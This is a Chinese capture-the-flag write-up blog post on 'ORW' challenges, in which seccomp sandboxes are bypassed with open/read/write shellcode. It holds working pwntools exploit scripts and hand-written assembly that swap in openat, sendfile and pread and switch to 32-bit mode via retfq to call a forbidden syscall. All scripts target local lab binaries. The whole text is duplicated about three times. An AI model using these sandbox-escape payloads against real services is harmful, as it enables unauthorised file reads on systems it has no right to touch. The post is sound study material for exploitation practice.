妈呀普天同庆,终于过了啊啊啊啊啊【尖叫】【阴暗爬行】
orw原理
就是有两个函数可以控制函数禁用prtcl()和seccomp()
prctl
#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);
// 主要关注prctl()函数的第一个参数,也就是option,设定的option的值的不同导致黑名单不同,介绍2个比较重要的option
// PR_SET_NO_NEW_PRIVS(38) 和 PR_SET_SECCOMP(22)
// option为38的情况
// 此时第二个参数设置为1,则禁用execve系统调用且子进程一样受用
prctl(38, 1LL, 0LL, 0LL, 0LL);
// option为22的情况
// 此时第二个参数为1,只允许调用read/write/_exit(not exit_group)/sigreturn这几个syscall
// 第二个参数为2,则为过滤模式,其中对syscall的限制通过参数3的结构体来自定义过滤规则。
prctl(22, 2LL, &v1);
seccomp()
__int64 sandbox()
{
__int64 v1; // [rsp+8h] [rbp-8h]
// 这里介绍两个重要的宏,SCMP_ACT_ALLOW(0x7fff0000U) SCMP_ACT_KILL( 0x00000000U)
// seccomp初始化,参数为0表示白名单模式,参数为0x7fff0000U则为黑名单模式
v1 = seccomp_init(0LL);
if ( !v1 )
{
puts("seccomp error");
exit(0);
}
// seccomp_rule_add添加规则
// v1对应上面初始化的返回值
// 0x7fff0000即对应宏SCMP_ACT_ALLOW
// 第三个参数代表对应的系统调用号,0-->read/1-->write/2-->open/60-->exit
// 第四个参数表示是否需要对对应系统调用的参数做出限制以及指示做出限制的个数,传0不做任何限制
seccomp_rule_add(v1, 0x7FFF0000LL, 2LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 0LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 1LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 60LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 231LL, 0LL);
// seccomp_load->将当前seccomp过滤器加载到内核中
if ( seccomp_load(v1) < 0 )
{
// seccomp_release->释放seccomp过滤器状态
// 但对已经load的过滤规则不影响
seccomp_release(v1);
puts("seccomp error");
exit(0);
}
return seccomp_release(v1);
}
这两个函数开启沙盒,具体的哪个函数被禁止,可以看反汇编之后的函数,也可以用[$ seccomp-tools dump ./文件名]{.kbd .red}
看每一条if()语句对应的goto哪一行,对应着kill,还是allow
shellcode写入哪里,如何执行?
我们发现这里有个call rdx,进去
发现call rdx之后就是我们写的shellcode!!!
低版本的是用call rdi作为索引,之后是call rdx,或者有jmp rsp也可以
整体思路
用seccomp-tools dump看哪些函数能用
open[openat代替]{.kbd .red},read[readv代替]{.kbd .red},write[writev代替]{.kbd .red},execve[execveat代替]{.kbd .red}
[read&write用sendfile]{.kbd .red}
我们就用open打开flag文件,read读取flag,write把flag写到屏幕上
这个过程我发现尽头还是手搓汇编()
用汇编代码写open,read,write的函数
fp = open("flag") ,read(fp,buf,0x30),write(1,buf,0x30)
open('./flag')
read(3,buf,0x100)[3是fd描述符,表示读文件,0x100表示我们读多少]{.kbd .red}
write(1,buf,0x100)[1是fd描述符,表示把它写在屏幕上,0x100表示我们显示多少在屏幕上]{.kbd .red}
手搓的话,应该就是顺着函数调用时寄存器和参数顺序把open,read,write用到的系统调用号,描述符,open就是把flag压进去,read,write都要描述符,和我们想要读写的内存。rdi应包含文件描述符,rsi应包含目标缓冲区地址,rdx应包含要读取的字节数。
[函数被禁止了]{.kbd .red}那就找替代品,[还是手搓55]{.kbd .red}
:::warning
替代品找不着请听下回分解
:::
shellcode1
seccomp-tools dump看了一下发现open,read,write都可以用,那就可以直接用pwntools中的sh=shellcraft
wp1
from pwn import*
context(log_level = 'debug', arch = 'amd64', os = 'linux')
r=remote("127.0.0.1",39611)
buf = 0x0404010 #bss段地址
sh=shellcraft.open('./flag')
sh+=shellcraft.read(3,buf,0x100)
sh+=shellcraft.write(1,buf,0x100)
sh=asm(sh)
r.sendline(sh)
r.interactive()
wp2
from pwn import*
context(os="linux",arch='amd64',log_level='debug')
io=remote("127.0.0.1",45621)
sh='''
xor rax,rax #清空寄存器
xor rdi,rdi
xor rsi,rsi
xor rdx,rdx
mov rax,2 #把open系统调用号存rax,这样我们就可以调用open
mov rdi,0x67616c662f2e #0x67616c662f2e(flag)存入rdi,相当于open('./flag')
push rdi
mov rdi,rsp
syscall
mov rax,0 #把read系统调用号存rax,这样我们就可以调用read
mov rdx,0x30
mov rsi,0x67616c662f2e #read(3,buf,0x30)
mov rsi,rsp
mov rdi,3
syscall
mov rdi,1
mov rax,1 #把write系统调用号存rax,这样我们就可以调用write
syscall
'''
io.sendline(asm(sh))
io.interactive()
shellcode2
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0010
0006: 0x15 0x03 0x00 0x00000002 if (A == open) goto 0010
0007: 0x15 0x02 0x00 0x00000014 if (A == writev) goto 0010
0008: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL
这些函数都用不了,那我们就用openat代替open,sendfile代替read和write
from pwn import *
context(log_level='debug', arch = "amd64",os= 'linux',terminal = ['tmux','splitw','-h'])
p = remote("127.0.0.1",33555)
shellcode='''
xor rsi,rsi;
mov rbx,0x67616c662f;
push rbx;
mov rdx,0; #设置oflag为0
mov rdi,3; #文件描述符3
mov rsi,rsp
mov rax,257; #openat的系统调用号
syscall;
mov rsi,3; #in_fd
mov r10,200;
mov rdi,1; #out_fd
mov rax,40; #sendfile的系统调用号
syscall;
'''
p.send(asm(shellcode))
p.interactive()
https://kylinxin.github.io/2023/11/26/ORW 题型/#RW-缺-O
https://www.jianshu.com/p/754b0a2ae353
shellcode3
查看沙箱函数,发现只有write,fstat,read,mmap可以用
然后发现fstat的系统调用号5在32位的系统下是open
关于mmap
先用read让可以利用的变量结合上汇编语言跳转到mmap的地方
然后去写入我们的orw_shellcode就可以得到flag了
[即用mmap开一块内存,切换到32位,open,再到64位读flag]{.kbd .red}
wp
from pwn import *
#p =remote('127.0.0.1', 41893)
p = process("./shellcode3")
context(log_level = 'debug', os = 'linux', arch = 'amd64')
shellcode_read_mmap='''
push 0x40404000
pop rdi
push 0x1000
pop rsi
push 7
pop rdx
xor r8, r8
xor r9, r9
mov r10,33
pop rcx
push 9
pop rax
syscall
xor rdi, rdi
push 0x40404000
pop rsi
push 0x70
pop rdx
xor rax, rax
syscall
call rsi
'''
shift_32 = '''
push 0x23
push 0x40404009
retfq
'''
shellcode_open = '''
mov esp, 0x40404100
push 0
push 0x67616c66
mov ebx, esp
xor ecx, ecx
mov eax,5
int 0x80
'''
shift_64 = '''
push 0x33
push 0x40404029
retfq
'''
shellcode_read = '''
mov rdi, 3
mov rsi, 0x40404200
mov rdx, 0x60
xor rax, rax
syscall
'''
shellcode_write='''
mov rdi, 1
mov rax, 1
syscall
'''
shellcode=asm(shellcode_read_mmap)
gdb.attach(p)
pause()
p.send(shellcode)
payload = asm(shift_32)
payload += asm(shellcode_open)
payload += asm(shift_64)
payload += asm(shellcode_read)
payload += asm(shellcode_write)
pause()
p.send(payload)
p.interactive()
shellcode4
发现read,open,readv,sendfile,execve都不能用
然后我们可以用openat代替open,pread代替read
wp
from pwn import *
context(log_level='debug', arch = "amd64",os= 'linux')
#p =remote('127.0.0.1', 39393)
p = process("./shellcode4")
shellcode = asm('''
xor rax,rax
xor rdi,rdi
xor rsi,rsi
xor rdx,rdx
mov rbx,0x67616c66
push rbx
mov rdx,0 #设置oflag为0
mov rdi,-100 #文件描述符3
mov rsi,rsp
mov rax,257 #openat的系统调用号
syscall
mov rdi,3
mov rsi, 0x40450
mov rdx,0x100
mov rax, 17
mov r10, 0
syscall
mov rax, 1
mov rdi, 1
syscall
''')
gdb.attach(p)
pause()
p.send(shellcode)
p.interactive()
title: summer2024_orw
date: 2024-07-08 18:40:27
categories: "Pwn"
cover: https://s2.loli.net/2024/07/05/p4fGzLOIjcgBXV9.jpg
tags:
- stack
- 刷题
妈呀普天同庆,终于过了啊啊啊啊啊【尖叫】【阴暗爬行】
orw原理
就是有两个函数可以控制函数禁用prtcl()和seccomp()
prctl
#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);
// 主要关注prctl()函数的第一个参数,也就是option,设定的option的值的不同导致黑名单不同,介绍2个比较重要的option
// PR_SET_NO_NEW_PRIVS(38) 和 PR_SET_SECCOMP(22)
// option为38的情况
// 此时第二个参数设置为1,则禁用execve系统调用且子进程一样受用
prctl(38, 1LL, 0LL, 0LL, 0LL);
// option为22的情况
// 此时第二个参数为1,只允许调用read/write/_exit(not exit_group)/sigreturn这几个syscall
// 第二个参数为2,则为过滤模式,其中对syscall的限制通过参数3的结构体来自定义过滤规则。
prctl(22, 2LL, &v1);
seccomp()
__int64 sandbox()
{
__int64 v1; // [rsp+8h] [rbp-8h]
// 这里介绍两个重要的宏,SCMP_ACT_ALLOW(0x7fff0000U) SCMP_ACT_KILL( 0x00000000U)
// seccomp初始化,参数为0表示白名单模式,参数为0x7fff0000U则为黑名单模式
v1 = seccomp_init(0LL);
if ( !v1 )
{
puts("seccomp error");
exit(0);
}
// seccomp_rule_add添加规则
// v1对应上面初始化的返回值
// 0x7fff0000即对应宏SCMP_ACT_ALLOW
// 第三个参数代表对应的系统调用号,0-->read/1-->write/2-->open/60-->exit
// 第四个参数表示是否需要对对应系统调用的参数做出限制以及指示做出限制的个数,传0不做任何限制
seccomp_rule_add(v1, 0x7FFF0000LL, 2LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 0LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 1LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 60LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 231LL, 0LL);
// seccomp_load->将当前seccomp过滤器加载到内核中
if ( seccomp_load(v1) < 0 )
{
// seccomp_release->释放seccomp过滤器状态
// 但对已经load的过滤规则不影响
seccomp_release(v1);
puts("seccomp error");
exit(0);
}
return seccomp_release(v1);
}
这两个函数开启沙盒,具体的哪个函数被禁止,可以看反汇编之后的函数,也可以用[$ seccomp-tools dump ./文件名]{.kbd .red}
看每一条if()语句对应的goto哪一行,对应着kill,还是allow
shellcode写入哪里,如何执行?
我们发现这里有个call rdx,进去
发现call rdx之后就是我们写的shellcode!!!
低版本的是用call rdi作为索引,之后是call rdx,或者有jmp rsp也可以
整体思路
用seccomp-tools dump看哪些函数能用
open[openat代替]{.kbd .red},read[readv代替]{.kbd .red},write[writev代替]{.kbd .red},execve[execveat代替]{.kbd .red}
[read&write用sendfile]{.kbd .red}
我们就用open打开flag文件,read读取flag,write把flag写到屏幕上
这个过程我发现尽头还是手搓汇编()
用汇编代码写open,read,write的函数
fp = open("flag") ,read(fp,buf,0x30),write(1,buf,0x30)
open('./flag')
read(3,buf,0x100)[3是fd描述符,表示读文件,0x100表示我们读多少]{.kbd .red}
write(1,buf,0x100)[1是fd描述符,表示把它写在屏幕上,0x100表示我们显示多少在屏幕上]{.kbd .red}
手搓的话,应该就是顺着函数调用时寄存器和参数顺序把open,read,write用到的系统调用号,描述符,open就是把flag压进去,read,write都要描述符,和我们想要读写的内存。rdi应包含文件描述符,rsi应包含目标缓冲区地址,rdx应包含要读取的字节数。
[函数被禁止了]{.kbd .red}那就找替代品,[还是手搓55]{.kbd .red}
:::warning
替代品找不着请听下回分解
:::
shellcode1
seccomp-tools dump看了一下发现open,read,write都可以用,那就可以直接用pwntools中的sh=shellcraft
wp1
from pwn import*
context(log_level = 'debug', arch = 'amd64', os = 'linux')
r=remote("127.0.0.1",39611)
buf = 0x0404010 #bss段地址
sh=shellcraft.open('./flag')
sh+=shellcraft.read(3,buf,0x100)
sh+=shellcraft.write(1,buf,0x100)
sh=asm(sh)
r.sendline(sh)
r.interactive()
wp2
from pwn import*
context(os="linux",arch='amd64',log_level='debug')
io=remote("127.0.0.1",45621)
sh='''
xor rax,rax #清空寄存器
xor rdi,rdi
xor rsi,rsi
xor rdx,rdx
mov rax,2 #把open系统调用号存rax,这样我们就可以调用open
mov rdi,0x67616c662f2e #0x67616c662f2e(flag)存入rdi,相当于open('./flag')
push rdi
mov rdi,rsp
syscall
mov rax,0 #把read系统调用号存rax,这样我们就可以调用read
mov rdx,0x30
mov rsi,0x67616c662f2e #read(3,buf,0x30)
mov rsi,rsp
mov rdi,3
syscall
mov rdi,1
mov rax,1 #把write系统调用号存rax,这样我们就可以调用write
syscall
'''
io.sendline(asm(sh))
io.interactive()
shellcode2
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0010
0006: 0x15 0x03 0x00 0x00000002 if (A == open) goto 0010
0007: 0x15 0x02 0x00 0x00000014 if (A == writev) goto 0010
0008: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL
这些函数都用不了,那我们就用openat代替open,sendfile代替read和write
from pwn import *
context(log_level='debug', arch = "amd64",os= 'linux',terminal = ['tmux','splitw','-h'])
p = remote("127.0.0.1",33555)
shellcode='''
xor rsi,rsi;
mov rbx,0x67616c662f;
push rbx;
mov rdx,0; #设置oflag为0
mov rdi,3; #文件描述符3
mov rsi,rsp
mov rax,257; #openat的系统调用号
syscall;
mov rsi,3; #in_fd
mov r10,200;
mov rdi,1; #out_fd
mov rax,40; #sendfile的系统调用号
syscall;
'''
p.send(asm(shellcode))
p.interactive()
https://kylinxin.github.io/2023/11/26/ORW 题型/#RW-缺-O
https://www.jianshu.com/p/754b0a2ae353
shellcode3
查看沙箱函数,发现只有write,fstat,read,mmap可以用
然后发现fstat的系统调用号5在32位的系统下是open
关于mmap
先用read让可以利用的变量结合上汇编语言跳转到mmap的地方
然后去写入我们的orw_shellcode就可以得到flag了
[即用mmap开一块内存,切换到32位,open,再到64位读flag]{.kbd .red}
wp
from pwn import *
#p =remote('127.0.0.1', 41893)
p = process("./shellcode3")
context(log_level = 'debug', os = 'linux', arch = 'amd64')
shellcode_read_mmap='''
push 0x40404000
pop rdi
push 0x1000
pop rsi
push 7
pop rdx
xor r8, r8
xor r9, r9
mov r10,33
pop rcx
push 9
pop rax
syscall
xor rdi, rdi
push 0x40404000
pop rsi
push 0x70
pop rdx
xor rax, rax
syscall
call rsi
'''
shift_32 = '''
push 0x23
push 0x40404009
retfq
'''
shellcode_open = '''
mov esp, 0x40404100
push 0
push 0x67616c66
mov ebx, esp
xor ecx, ecx
mov eax,5
int 0x80
'''
shift_64 = '''
push 0x33
push 0x40404029
retfq
'''
shellcode_read = '''
mov rdi, 3
mov rsi, 0x40404200
mov rdx, 0x60
xor rax, rax
syscall
'''
shellcode_write='''
mov rdi, 1
mov rax, 1
syscall
'''
shellcode=asm(shellcode_read_mmap)
gdb.attach(p)
pause()
p.send(shellcode)
payload = asm(shift_32)
payload += asm(shellcode_open)
payload += asm(shift_64)
payload += asm(shellcode_read)
payload += asm(shellcode_write)
pause()
p.send(payload)
p.interactive()
shellcode4
发现read,open,readv,sendfile,execve都不能用
然后我们可以用openat代替open,pread代替read
wp
from pwn import *
context(log_level='debug', arch = "amd64",os= 'linux')
#p =remote('127.0.0.1', 39393)
p = process("./shellcode4")
shellcode = asm('''
xor rax,rax
xor rdi,rdi
xor rsi,rsi
xor rdx,rdx
mov rbx,0x67616c66
push rbx
mov rdx,0 #设置oflag为0
mov rdi,-100 #文件描述符3
mov rsi,rsp
mov rax,257 #openat的系统调用号
syscall
mov rdi,3
mov rsi, 0x40450
mov rdx,0x100
mov rax, 17
mov r10, 0
syscall
mov rax, 1
mov rdi, 1
syscall
''')
gdb.attach(p)
pause()
p.send(shellcode)
p.interactive()
title: summer2024_orw
date: 2024-07-08 18:40:27
categories: "Pwn"
cover: https://s2.loli.net/2024/07/05/p4fGzLOIjcgBXV9.jpg
tags:
- stack
- 刷题
妈呀普天同庆,终于过了啊啊啊啊啊【尖叫】【阴暗爬行】
orw原理
就是有两个函数可以控制函数禁用prtcl()和seccomp()
prctl
#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);
// 主要关注prctl()函数的第一个参数,也就是option,设定的option的值的不同导致黑名单不同,介绍2个比较重要的option
// PR_SET_NO_NEW_PRIVS(38) 和 PR_SET_SECCOMP(22)
// option为38的情况
// 此时第二个参数设置为1,则禁用execve系统调用且子进程一样受用
prctl(38, 1LL, 0LL, 0LL, 0LL);
// option为22的情况
// 此时第二个参数为1,只允许调用read/write/_exit(not exit_group)/sigreturn这几个syscall
// 第二个参数为2,则为过滤模式,其中对syscall的限制通过参数3的结构体来自定义过滤规则。
prctl(22, 2LL, &v1);
seccomp()
__int64 sandbox()
{
__int64 v1; // [rsp+8h] [rbp-8h]
// 这里介绍两个重要的宏,SCMP_ACT_ALLOW(0x7fff0000U) SCMP_ACT_KILL( 0x00000000U)
// seccomp初始化,参数为0表示白名单模式,参数为0x7fff0000U则为黑名单模式
v1 = seccomp_init(0LL);
if ( !v1 )
{
puts("seccomp error");
exit(0);
}
// seccomp_rule_add添加规则
// v1对应上面初始化的返回值
// 0x7fff0000即对应宏SCMP_ACT_ALLOW
// 第三个参数代表对应的系统调用号,0-->read/1-->write/2-->open/60-->exit
// 第四个参数表示是否需要对对应系统调用的参数做出限制以及指示做出限制的个数,传0不做任何限制
seccomp_rule_add(v1, 0x7FFF0000LL, 2LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 0LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 1LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 60LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 231LL, 0LL);
// seccomp_load->将当前seccomp过滤器加载到内核中
if ( seccomp_load(v1) < 0 )
{
// seccomp_release->释放seccomp过滤器状态
// 但对已经load的过滤规则不影响
seccomp_release(v1);
puts("seccomp error");
exit(0);
}
return seccomp_release(v1);
}
这两个函数开启沙盒,具体的哪个函数被禁止,可以看反汇编之后的函数,也可以用[$ seccomp-tools dump ./文件名]{.kbd .red}
看每一条if()语句对应的goto哪一行,对应着kill,还是allow
shellcode写入哪里,如何执行?
我们发现这里有个call rdx,进去
发现call rdx之后就是我们写的shellcode!!!
低版本的是用call rdi作为索引,之后是call rdx,或者有jmp rsp也可以
整体思路
用seccomp-tools dump看哪些函数能用
open[openat代替]{.kbd .red},read[readv代替]{.kbd .red},write[writev代替]{.kbd .red},execve[execveat代替]{.kbd .red}
[read&write用sendfile]{.kbd .red}
我们就用open打开flag文件,read读取flag,write把flag写到屏幕上
这个过程我发现尽头还是手搓汇编()
用汇编代码写open,read,write的函数
fp = open("flag") ,read(fp,buf,0x30),write(1,buf,0x30)
open('./flag')
read(3,buf,0x100)[3是fd描述符,表示读文件,0x100表示我们读多少]{.kbd .red}
write(1,buf,0x100)[1是fd描述符,表示把它写在屏幕上,0x100表示我们显示多少在屏幕上]{.kbd .red}
手搓的话,应该就是顺着函数调用时寄存器和参数顺序把open,read,write用到的系统调用号,描述符,open就是把flag压进去,read,write都要描述符,和我们想要读写的内存。rdi应包含文件描述符,rsi应包含目标缓冲区地址,rdx应包含要读取的字节数。
[函数被禁止了]{.kbd .red}那就找替代品,[还是手搓55]{.kbd .red}
:::warning
替代品找不着请听下回分解
:::
shellcode1
seccomp-tools dump看了一下发现open,read,write都可以用,那就可以直接用pwntools中的sh=shellcraft
wp1
from pwn import*
context(log_level = 'debug', arch = 'amd64', os = 'linux')
r=remote("127.0.0.1",39611)
buf = 0x0404010 #bss段地址
sh=shellcraft.open('./flag')
sh+=shellcraft.read(3,buf,0x100)
sh+=shellcraft.write(1,buf,0x100)
sh=asm(sh)
r.sendline(sh)
r.interactive()
wp2
from pwn import*
context(os="linux",arch='amd64',log_level='debug')
io=remote("127.0.0.1",45621)
sh='''
xor rax,rax #清空寄存器
xor rdi,rdi
xor rsi,rsi
xor rdx,rdx
mov rax,2 #把open系统调用号存rax,这样我们就可以调用open
mov rdi,0x67616c662f2e #0x67616c662f2e(flag)存入rdi,相当于open('./flag')
push rdi
mov rdi,rsp
syscall
mov rax,0 #把read系统调用号存rax,这样我们就可以调用read
mov rdx,0x30
mov rsi,0x67616c662f2e #read(3,buf,0x30)
mov rsi,rsp
mov rdi,3
syscall
mov rdi,1
mov rax,1 #把write系统调用号存rax,这样我们就可以调用write
syscall
'''
io.sendline(asm(sh))
io.interactive()
shellcode2
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0010
0006: 0x15 0x03 0x00 0x00000002 if (A == open) goto 0010
0007: 0x15 0x02 0x00 0x00000014 if (A == writev) goto 0010
0008: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL
这些函数都用不了,那我们就用openat代替open,sendfile代替read和write
from pwn import *
context(log_level='debug', arch = "amd64",os= 'linux',terminal = ['tmux','splitw','-h'])
p = remote("127.0.0.1",33555)
shellcode='''
xor rsi,rsi;
mov rbx,0x67616c662f;
push rbx;
mov rdx,0; #设置oflag为0
mov rdi,3; #文件描述符3
mov rsi,rsp
mov rax,257; #openat的系统调用号
syscall;
mov rsi,3; #in_fd
mov r10,200;
mov rdi,1; #out_fd
mov rax,40; #sendfile的系统调用号
syscall;
'''
p.send(asm(shellcode))
p.interactive()
https://kylinxin.github.io/2023/11/26/ORW 题型/#RW-缺-O
https://www.jianshu.com/p/754b0a2ae353
shellcode3
查看沙箱函数,发现只有write,fstat,read,mmap可以用
然后发现fstat的系统调用号5在32位的系统下是open
关于mmap
先用read让可以利用的变量结合上汇编语言跳转到mmap的地方
然后去写入我们的orw_shellcode就可以得到flag了
[即用mmap开一块内存,切换到32位,open,再到64位读flag]{.kbd .red}
wp
from pwn import *
#p =remote('127.0.0.1', 41893)
p = process("./shellcode3")
context(log_level = 'debug', os = 'linux', arch = 'amd64')
shellcode_read_mmap='''
push 0x40404000
pop rdi
push 0x1000
pop rsi
push 7
pop rdx
xor r8, r8
xor r9, r9
mov r10,33
pop rcx
push 9
pop rax
syscall
xor rdi, rdi
push 0x40404000
pop rsi
push 0x70
pop rdx
xor rax, rax
syscall
call rsi
'''
shift_32 = '''
push 0x23
push 0x40404009
retfq
'''
shellcode_open = '''
mov esp, 0x40404100
push 0
push 0x67616c66
mov ebx, esp
xor ecx, ecx
mov eax,5
int 0x80
'''
shift_64 = '''
push 0x33
push 0x40404029
retfq
'''
shellcode_read = '''
mov rdi, 3
mov rsi, 0x40404200
mov rdx, 0x60
xor rax, rax
syscall
'''
shellcode_write='''
mov rdi, 1
mov rax, 1
syscall
'''
shellcode=asm(shellcode_read_mmap)
gdb.attach(p)
pause()
p.send(shellcode)
payload = asm(shift_32)
payload += asm(shellcode_open)
payload += asm(shift_64)
payload += asm(shellcode_read)
payload += asm(shellcode_write)
pause()
p.send(payload)
p.interactive()
shellcode4
发现read,open,readv,sendfile,execve都不能用
然后我们可以用openat代替open,pread代替read
wp
from pwn import *
context(log_level='debug', arch = "amd64",os= 'linux')
#p =remote('127.0.0.1', 39393)
p = process("./shellcode4")
shellcode = asm('''
xor rax,rax
xor rdi,rdi
xor rsi,rsi
xor rdx,rdx
mov rbx,0x67616c66
push rbx
mov rdx,0 #设置oflag为0
mov rdi,-100 #文件描述符3
mov rsi,rsp
mov rax,257 #openat的系统调用号
syscall
mov rdi,3
mov rsi, 0x40450
mov rdx,0x100
mov rax, 17
mov r10, 0
syscall
mov rax, 1
mov rdi, 1
syscall
''')
gdb.attach(p)
pause()
p.send(shellcode)
p.interactive()
标签:open,read,summer2024,mov,orw,seccomp,rdi,rax
From: https://www.cnblogs.com/Jexy/p/18333506